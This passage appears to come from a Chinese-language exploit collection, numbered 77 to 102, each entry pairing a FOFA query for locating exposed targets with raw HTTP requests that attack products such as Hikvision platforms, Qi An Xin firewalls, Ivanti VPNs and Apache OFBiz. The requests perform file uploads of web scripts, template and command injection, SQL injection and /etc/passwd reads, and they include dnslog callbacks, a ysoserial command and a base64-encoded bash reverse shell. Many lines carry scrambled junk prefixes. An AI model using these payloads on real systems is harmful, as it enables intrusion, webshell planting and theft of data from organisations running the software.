+ i- T8 r: a5 G  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
9 s% _$ O" l9 E3 ^3 k  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
7 Y8 Z5 [. Q$ Y, i% t# b. {

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
5 d+ |0 l; K! F5 a, C! mHost: x.x.x.x

' n) {& j: {# c& O( y7 f) R

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
- ^! O3 k3 u0 K2 `& `+ [Host: x.x.x.x
, b3 C$ M/ Y3 j4 r4 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
9 J* I) i- r$ UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ K& a* t2 _  @0 }; |5 FContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
+ U6 A$ q( V8 U------------398jnjVTTlDVXHlE7yYnfwBoix
; @$ a* M- M4 L; {' j7 H9 t$ MContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
' M+ L  B& f8 d; X0 ~+ O- [Content-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
6 P" c' U) j. r& [' m9 f3 B/ BContent-Disposition: form-data; name="Upload"

; R& K% \$ ]+ m& P2 ESubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
* n- c- k! Y- X4 P$ w, h
' d% z: V9 S3 ~4 q+ q" G1 S* b
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
# _) T1 a* V3 R+ c  v& Q* k- N) oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: ]1 U5 I+ W0 v0 {Connection: close
Content-Length: 336
2 s" M$ c  w3 Q  H$ O8 s9 }0 R  E' JAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
% z4 _9 z* w9 }9 kContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
2 h5 O4 ~5 @; [2 p+ r/ G- OContent-Type: image/png

/ D! E: i& {; F3 Q- ~' M- TYsOxWxSvj1KyZow1PTsh98fdu6l
$ A3 |! v$ g/ m: {* x------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
: h' Q8 {* q* }3 D+ F
9 N+ }  W) u1 @$ R, E6 T/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

/ K( o5 [7 p( u" i
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
& [4 c4 |0 b/ ~0 q4 SHost: x.x.x.x
7 H0 l0 e5 p+ z1 X: W, Q; P
/ U) i/ G8 U% o( H
( c9 ]9 f' \. k: I# U1 C: S9 q" P8 U79. BYTEVALUE 百为流控路由器远程命令执行
5 x$ y( V! O- s* }FOFA：BYTEVALUE 智能流控路由器
' R5 l9 k" B/ o% XGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
! A% d# H$ I2 l/ b! l# M) TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
+ Z0 G4 D9 W" w3 ^7 A. pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. l  L! Z' b+ c0 JFOFA：app="速达软件-公司产品"
' L& _* W# |9 KPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
# ]7 ^2 v5 N% T# U0 G. L4 tHost: x.x.x.x
1 Z! l" t. N: P+ {& Q2 z' CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 ?/ Y1 J- o; d. w# ~& iContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 T1 k; F7 p, ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
8 K  k* o% A7 k0 NUpgrade-Insecure-Requests: 1
, h3 B  w% E" g+ d7 S9 h
0 f8 u+ N/ M5 @$ [- g) R<% out.print("oessqeonylzaf");%>
( m7 A9 ^8 r" h& S0 R8 k% i

GET /xykqmfxpoas.jsp HTTP/1.1
. ?' V$ D, c$ _& [3 F% XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' ~$ u% r. |- FConnection: close
% U/ L4 ?) X0 u; FAccept-Encoding: gzip
$ m  Y/ N, K* {: S* m# d2 i6 D  r9 e

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
* H9 B/ W& _+ `+ v% B4 U8 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) V. w# F4 C% \; o+ ?8 ~: z+ jAccept-Encoding: gzip
5 `0 ~3 D' x% d3 k4 g# k

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
' ]$ T8 `" S$ k! i  X8 [2 IFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
. f2 n. q( n5 y( V* Z- t& AHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
  Y7 q9 M1 |) D" `+ t& I$ cAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
7 R8 m/ c: {7 j5 @/ B0 m6 lReferer: BaseURL

z1=1&z2="|id;"&z3=bhost
8 s5 [# g/ N1 o% q; k
. I* y- n) B# z' e! a
  X8 [/ E) }3 {& m7 D+ c$ l83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
2 q9 j+ @9 @! O/ J% N. t6 {
- t) R3 n9 P* E
! ~. G; e2 C" FPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
- @" Q' z) I  R; b+ ^8 s1 gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; P8 {! W) }% n9 RConnection: close
; H* b7 }* T/ T& P+ J$ l% AContent-Length: 8881
2 e  r4 L2 E) WAccept-Encoding: gzip
. f2 J2 m8 `8 V( T& |, ?# m8 gCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
( D/ U7 P+ `8 d/ K( v" P: H2 f: UContent-Type: application/json

PAYLOAD
5 H& h  E6 T; n  c* y
# q! N2 z6 ?( R84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 M) n6 T2 y7 E: bFOFA：title=="JeecgBoot 企业级低代码平台"

) O; @' ~9 b, k) I9 w0 g
( u; \4 o, h0 t- F
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
9 Z- ]' n: |0 THost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
7 K7 ?2 E0 n, `! @; i6 BAccept: */*
$ u6 T+ S; I* s0 H4 n6 I8 Z& DConnection: close
9 H+ }: }0 L6 E8 S: |+ A4 iContent-Type: application/json
Accept-Encoding: gzip
5 P9 E0 _& x. O9 [" o
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
$ M! S2 F1 T3 h; Q! E3 q+ {# Y: ]5 Y}
9 W+ O0 S( s" v
9 V; k; Q! J9 Z% _% R, H- H  t9 e
3 A0 O3 M- i# S8 ?2 l85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
3 ?% d- X) n9 mFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
8 B# p, }8 P9 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 R, n0 w* D% Z% W* n: g% i' F# RContent-Type: application/octet-stream
Accept-Encoding: gzip

1 B1 O5 \2 n; H# PPAYLOAD
* t- U% o" d, e. g- z
回显URL：http://x.x.x.x/userfiles/index.jsp
) o  {0 ^! D4 @+ S
. p" N: J. A  b, ~86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
+ W+ Y& f( ^  \POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
/ e! C  h4 H0 f) v0 W2 k6 H% iContent-Length: 44
* X$ S) f0 ~0 ?6 @' P7 n" SAccept: */*
Accept-Encoding: gzip
2 A/ D& l. |4 W& N- D2 s  c* S$ JAccept-Language: en
Content-Type: application/x-www-form-urlencoded

/ u4 \; F+ d2 Q! f, B/ A- phost=%0acat${IFS}/etc/passwd%0a&command=ping
( a' L  g/ h! b9 E# e( R

$ @3 U0 M5 B+ {) P+ k87. 安恒明御安全网关aaa_local_web_preview文件上传
, V9 [/ U, E+ P! WFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
+ R: t( x) i, v7 B& RHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ s: A1 B$ @1 vContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

4 N( Z6 B, ?' J7 H3 H7 V2ZqGNnsjzzU2GBBPyd8AIA7QlDq
" n8 Q: {( {7 N--qqobiandqgawlxodfiisporjwravxtvd--
4 e# k6 M$ B! m6 X
$ A. H2 R( }4 v7 i) N( q' J
/jfhatuwe.php
0 j; x4 c' [  i# W
; K$ k2 R, ~( y) @! M88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# Y( T5 T/ o4 g! G" qAccept-Encoding: gzip, deflate
0 q% j7 }% q. F0 q3 u8 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ r' x6 Y2 i) N; K8 X

/astdfkhl.php
# z8 t. Q3 c) D7 a  d0 a2 s! @' ~
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
* M7 Y$ F1 u: ]% h' H( GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, z$ y8 q3 }; ?4 m3 l0 oConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
  N9 b9 R$ m  z; f1 _& G
option=2&GUID=-1'+union+select+111*222--+
7 E' N3 q8 U4 p
$ e; j$ o* P2 |, K8 N; G- ^
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
/ o: U7 P- W: C. b+ Y  u7 x0 o1 H6 H9 EPOST /php/ping.php HTTP/1.1
! ?- u& D4 u& B, N/ f9 J/ q% I5 p+ WHost: x.x.x.x
) M7 u  s2 p( Q* `+ }/ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
7 R$ E: J8 W. a' EContent-Length: 51
1 e, d6 m% e4 d/ h2 V# kAccept: application/json, text/javascript, */*; q=0.01
+ x3 n( Q5 I! O% A/ _" K, }2 ]Accept-Encoding: gzip, deflate
( Y/ n- t1 p5 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
, Y5 ~& G& X! ?6 X2 K3 kContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
% i" C' R+ e8 r7 E
0 f6 b1 G* r% V& Y# Vjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
3 R$ |, c# J- Y5 V9 a/ Q

5 q$ M1 Z+ @5 e0 f9 [' k- s' y91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
& ^2 J: d  n0 K  p* ~0 VFOFA：title="综合安防管理平台"
  Y! f8 h, S+ K6 ?$ K6 c- Z: xGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
& D& X  [8 }  VHost: your-ip
4 Q* O% Q/ [& K4 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 Z( F& E$ c8 v. w# y' q1 h7 cAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 u0 t/ w( z/ L' R- O' h
! \+ l+ u5 V6 e- B" B2 R4 Q0 A

/ e- X. H4 R0 i3 c% O- e/ s7 D92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
6 x, m% h6 k' \Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
: [2 e5 k9 P" `2 P9 _5 YContent-Type: application/json;charset=UTF-8
8 H# m5 |% H2 }" S, RX-Language-Type: zh_CN
$ H2 n3 K8 u  ]5 Q" K! }Testcmd: echo test
* }, A- D0 o$ i' IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
' y! M, F8 D  T  C$ R/ J8 ?3 kAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD
' o2 Y1 P; V" Y$ o

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
$ |9 K9 m# Z& D9 J. F4 MFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
4 K" c4 e, Z5 e7 `- w* b. YContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

3 P( j) x6 v1 f4 {0 t8 R------WebKitFormBoundarykcbkgdfx
& Q6 t- ^8 a; ^  }* X9 \% bContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
9 g: o5 d  \1 Q' V------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
9 a$ H8 w: h: O( G% y+ MContent-Type: text/plain

" j* l  N: f5 L6 _; P$ t3 z9 @wagletqrkwrddkthtulxsqrphulnknxa
1 ?$ f, G0 L7 l8 \------WebKitFormBoundarykcbkgdfx
: d* c1 G  L$ F: E" t( S# B' b3 ^, ?Content-Disposition: form-data; name="submit_post"
' K# C4 n: E) V
/ h& F# H- @0 k6 g1 @obj_app_upfile
" M6 ^$ y9 S% R8 N6 R7 _------WebKitFormBoundarykcbkgdfx
2 L5 ~" J" E7 T$ f1 m9 u, g& {Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

* G6 _3 U% r( [/ T$ Q/ |  b* a5 i$ G
, F. z: x8 ~4 Z/ x2 ]GET /attachements/xlskxknxa.txt HTTP/1.1
5 H) ~2 I/ ^# O- P- v0 P2 G% }! YHost: xx.xx.xx.xx
8 P3 A: i- H( p+ [+ H; ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 t8 K5 c1 a( j, i7 r( n

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
7 F- D1 V" R0 H/ T) J! SPOST /?g=obj_area_import_save HTTP/1.1
7 l5 O# a3 ]  U$ `1 _Host: x.x.x.x
7 O% A" |4 O6 U! tContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 x% c9 p! Q7 P) C( |! T
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2 J/ M6 v3 d* V% \) r  l* R4 X
" C1 i3 D4 ?  E6 J! g' y10000000
! m! n) E2 s7 P% \------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
; O" C4 F2 O& f" uContent-Type: text/plain
3 [$ N/ D- o/ x6 \
# m! \, r1 L+ L$ c7 _pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
9 R  h( U1 a2 X  v8 }Content-Disposition: form-data; name="submit_post"
7 l, c' d2 ^. t& g8 P/ j
- I. Z2 `# t7 Hobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
6 }6 ?6 J7 @3 x; _- V+ M4 {
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

" _! Y8 D7 Z/ U( p3 M: T$ Z2 ^
3 ~1 }' {& Y/ u& I
2 K2 C/ n7 L3 I6 ]5 e5 P: _6 z( g% aGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
) l8 n3 \& I5 ]  r/ B0 |. M. ~0 n: RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
9 S* m- K( h0 E2 r2 e1 H6 }4 U2 N# I# X" YFOFA：app="Apache_OFBiz"
  G) O+ v& p! i& q$ D7 A' lPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
5 ~0 e9 q8 z& u: B7 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
; g; H, g# P) IContent-Type: application/xml
! P6 C; u3 j7 z. t! H; c- ?( w" H; YAccept-Encoding: gzip

<?xml version="1.0"?>
! H9 v0 m" Z& O! c<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
9 B$ l4 i& ~8 _) B9 h& a    <params>
      <param>
& U1 \9 k/ i3 r& b' G$ F      <value>
7 u$ h" x, \* Z1 c3 d        <struct>
7 ]/ n* l4 v6 p; |8 k       <member>
          <name>test</name>
          <value>
9 Z# v5 r1 k  ~- V  W% a      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
- B* M3 _; Z/ j7 q1 b- r        </member>
      </struct>
      </value>
$ o; J- m9 M# l0 I+ h    </param>
% G+ [+ f' F! }: r) T    </params>
" d* N( d0 G6 Z7 u( L- j% I</methodCall>
4 Z- [' U8 W8 q& b* G/ o7 t! X

% F' u7 Q" Z$ J1 v8 b" N# P  ^用ysoserial生成payload
* B, n3 N: y/ ]. c. xjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


. \$ G; C% A' f9 [将生成的payload替换到上面的POC
) s$ [. l. ^! {' z2 ^POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
+ j( Y% L: i  A) ~' v# P# ~Content-Length: 889
2 N9 h+ Y2 D. cContent-Type: application/xml
Accept-Encoding: gzip
5 M" k: Z! A2 U1 }
PAYLOAD

& K. ?! m  u$ ~/ y. d7 _96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
: i! X. z- M2 u/ L; HPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
0 s5 _* r9 i0 j" c$ N  a* o- l, ~Host: localhost:8443
# g$ h" N. T5 O* mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. _6 T1 T0 x. O: d) t& k" S. aAccept: */*
/ q8 l8 Q  T6 M8 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 o; {3 O( O3 s7 q" ]Content-Type: application/x-www-form-urlencoded
Content-Length: 55
; L7 {7 ?  Q0 }4 i/ p0 ~+ a& E
groovyProgram=throw+new+Exception('id'.execute().text);
" n) `% c& m# L; v# \+ L' ]

反弹shell
在kali上启动一个监听
- B' K# v% y! u8 h  Q7 a4 \3 Vnc -lvp 7777

5 ^, e7 ]. ~- _( @, nPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
/ A$ v& `. `- b) M" T8 cHost: 192.168.40.130:8443
7 d3 d. [' h) W; p5 s+ x" GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
! l/ P) k2 ?+ q4 U9 D* fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

( f# t: h4 [& a. zgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

" X) G& ^& p) Z! D5 c2 x97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
8 j2 W2 W' W' H' [FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
% `+ j) e- i  q8 E* U1 G- G/ p9 T0 GGET /passport/login/ HTTP/1.1
! ]& B  T' H$ U2 t# pHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 H1 V- w/ ~( Y" I* {& ?. ^# gAccept-Encoding: gzip
2 V. b: G2 M$ K! a( V6 `- Q' B1 vConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
* Y; N* F$ _: c6 Z2 U% jCVE-2024-0195
FOFA：app="SpiderFlow"
( L5 U) G, s5 P2 l0 @POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
6 _* c) g" ]) B0 B9 Z7 l- IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# d/ K& [" E+ z# R. b* V: oContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
6 s- x: e# }  X0 j
  `; }# Y3 e# x* E9 ^( g$ L3 i" i# d! [, Z
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
' U6 e+ `4 H6 ^! c! N  \- BFOFA：app="Ncast-产品" && title=="高清智能录播系统"
: r1 C1 `( @; D3 \5 x" sPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
( f% S0 j) b, ?" mContent-Length: 154
9 t8 e6 `3 n& c% e/ j2 J  AAccept: */*
! Y" H  U3 f$ k- C& n4 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
' ?& O) O/ }5 \$ z' ~( G# t: c; X
+ I# s6 k/ x( ?9 j; `. Q2 f  a
& }3 ]3 Z- j. ^. \& Z100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
0 n+ j  g; v! \! m. ]5 q( N5 WCVE-2024-0352
7 o- ~+ B1 X5 g5 R; sFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 w3 q# w1 `, n, s5 \Connection: close
$ v* ?' B5 y1 d$ KContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
2 x) T" J& |% u- F
------WebKitFormBoundarygcflwtei
3 Q8 W1 D' m& @8 Y4 o1 E0 UContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
9 s! n' y* p. v
% @! u( M( n( H) N2ayyhRXiAsKXL8olvF5s4qqyI2O
& D0 C! E3 v8 R6 A------WebKitFormBoundarygcflwtei--


# `/ E/ [: F+ R# o8 p" E/ H: P1 B$ o101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
8 \! q! i' S4 D+ C, E# Q9 @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& A" j1 H. y  N% Q: ]# oConnection: close
5 B: Z8 p* z2 J2 c8 L7 W+ \! r6 T, }Accept-Encoding: gzip
+ L# q4 ?$ q7 u0 L+ }4 H

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
& w, j/ U! x9 {5 iAccept-Encoding: gzip
; m. a2 ~  m" U4 g/ ^
